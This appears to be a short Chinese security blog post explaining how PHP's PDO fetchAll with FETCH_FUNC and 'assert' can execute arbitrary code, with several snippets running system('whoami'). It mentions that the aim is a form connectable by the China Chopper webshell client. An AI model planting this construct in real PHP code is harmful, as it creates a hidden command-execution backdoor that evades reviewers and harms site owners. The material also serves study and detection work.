最新消息:

用PDO进行代码执行

PHP admin 2426浏览 0评论

使用PDO函数fetchAll可以进行代码执行,测试代码:

<?php
    $db = new PDO('sqlite::memory:'); //内存中的数据库
   $st = $db->query(" SELECT 'phpinfo()'");
   $re = $st->fetchAll(PDO::FETCH_FUNC, 'assert');
?>

代码很好理解,fetchAll函数的第二个参数是代码调用的函数,这里是assert,当然也可以改成eval。而执行的代码就是查询中select语句后面的代码,这里是phpinfo()。

下面是执行system命令的代码:

代码1:

<?php
    $db = new PDO('sqlite::memory:'); //内存中的数据库
   $st = $db->query(" SELECT \"system('whoami')\" ");
   $re = $st->fetchAll(PDO::FETCH_FUNC, 'assert');
?>

(此种情况执行的代码只能有单引号,不能有双引号)

或:

<?php
    $db = new PDO('sqlite::memory:'); //内存中的数据库
   $st = $db->query(" SELECT 'system(\"whoami\")' ");
   $re = $st->fetchAll(PDO::FETCH_FUNC, 'assert');
?>
(此种情况执行的代码双引号要转义,不能有单引号)
或
<?php
    $db = new PDO('sqlite::memory:'); //内存中的数据库
   $st = $db->query(' SELECT \'system("whoami")\'');
   $re = $st->fetchAll(PDO::FETCH_FUNC, 'assert');
?>
(此种情况,执行的代码可以有双引号,但不能有单引号)
或
<?php
    $db = new PDO('sqlite::memory:'); //内存中的数据库
   $st = $db->query(' SELECT "system(\'whoami\');"');
   $re = $st->fetchAll(PDO::FETCH_FUNC, 'assert');
?>

(此种情况,执行的代码单引号要转义,不能有双引号)

即执行的代码要考虑单引号和双引号问题,因此按照上面构造好命令执行可以,如果使用菜刀来连接的话可能有问题。暂时还没解决。

PDO查询参考:http://www.educity.cn/shujuku/1093790.html。

 

转载请注明:jinglingshu的博客 » 用PDO进行代码执行

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址